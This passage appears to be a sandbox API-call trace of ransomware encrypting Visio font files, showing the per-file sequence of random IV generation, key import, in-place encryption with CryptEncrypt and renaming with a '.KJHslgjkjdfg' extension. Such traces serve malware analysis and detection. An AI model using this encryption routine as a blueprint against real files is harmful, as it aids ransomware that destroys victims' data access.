CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.512] GetProcessHeap () returned 0x2ef0000 [0190.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.512] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0190.512] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.512] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0190.512] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.512] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.513] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.513] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.513] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.513] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.513] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.513] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.513] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a9e6, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x6a9e6, lpOverlapped=0x0) returned 1 [0190.523] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6a9f0, dwBufLen=0x6a9f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x6a9f0) returned 1 [0190.528] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.528] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a9f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x6a9f0, lpOverlapped=0x0) returned 1 [0190.530] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.530] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x6aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.530] SetEndOfFile (hFile=0x12c) returned 1 [0190.533] GetProcessHeap () returned 0x2ef0000 [0190.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.534] GetProcessHeap () returned 0x2ef0000 [0190.534] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.kjhslgjkjdfg")) returned 1 [0190.535] CloseHandle (hObject=0x12c) returned 1 [0190.535] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0190.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.536] GetProcessHeap () returned 0x2ef0000 [0190.536] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.536] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.536] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.537] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0190.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.539] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.539] GetProcessHeap () returned 0x2ef0000 [0190.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.539] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0190.539] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.539] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0190.540] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.540] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.540] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.540] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.540] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.540] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.540] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.540] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.540] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xdc6b9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xdc6b9, lpOverlapped=0x0) returned 1 [0190.557] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xdc6c0, dwBufLen=0xdc6c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xdc6c0) returned 1 [0190.566] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.567] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xdc6c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xdc6c0, lpOverlapped=0x0) returned 1 [0190.569] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.569] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xdc784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.570] SetEndOfFile (hFile=0x12c) returned 1 [0190.573] GetProcessHeap () returned 0x2ef0000 [0190.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.573] GetProcessHeap () returned 0x2ef0000 [0190.573] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.kjhslgjkjdfg")) returned 1 [0190.574] CloseHandle (hObject=0x12c) returned 1 [0190.574] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0190.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.576] GetProcessHeap () returned 0x2ef0000 [0190.576] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.576] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.576] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.576] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0190.578] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.578] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.578] GetProcessHeap () returned 0x2ef0000 [0190.578] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.578] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0190.578] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.578] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0190.579] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.579] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.579] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.579] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.579] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.579] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.579] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.579] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.579] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b01, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x2b01, lpOverlapped=0x0) returned 1 [0190.580] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x2b10) returned 1 [0190.580] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.580] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x2b10, lpOverlapped=0x0) returned 1 [0190.581] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.581] SetEndOfFile (hFile=0x12c) returned 1 [0190.583] GetProcessHeap () returned 0x2ef0000 [0190.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.583] GetProcessHeap () returned 0x2ef0000 [0190.583] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.kjhslgjkjdfg")) returned 1 [0190.586] CloseHandle (hObject=0x12c) returned 1 [0190.586] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0190.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.587] GetProcessHeap () returned 0x2ef0000 [0190.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.587] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.587] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0190.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.588] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.588] GetProcessHeap () returned 0x2ef0000 [0190.588] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.589] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0190.589] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0190.589] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0190.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0190.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0190.589] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0190.589] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0190.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.589] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.589] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.589] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x146, lpOverlapped=0x0) returned 1 [0190.589] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x150, dwBufLen=0x150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x150) returned 1 [0190.589] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.590] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x150, lpOverlapped=0x0) returned 1 [0190.590] CryptDestroyKey (hKey=0x2f18308) returned 1 [0190.590] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.590] SetEndOfFile (hFile=0x12c) returned 1 [0190.592] GetProcessHeap () returned 0x2ef0000 [0190.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.592] GetProcessHeap () returned 0x2ef0000 [0190.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.kjhslgjkjdfg")) returned 1 [0190.593] CloseHandle (hObject=0x12c) returned 1 [0190.593] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0190.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0190.594] GetProcessHeap () returned 0x2ef0000 [0190.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.595] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.595] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0190.595] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0190.597] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0190.597] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.597] GetProcessHeap () returned 0x2ef0000 [0190.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.597] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, 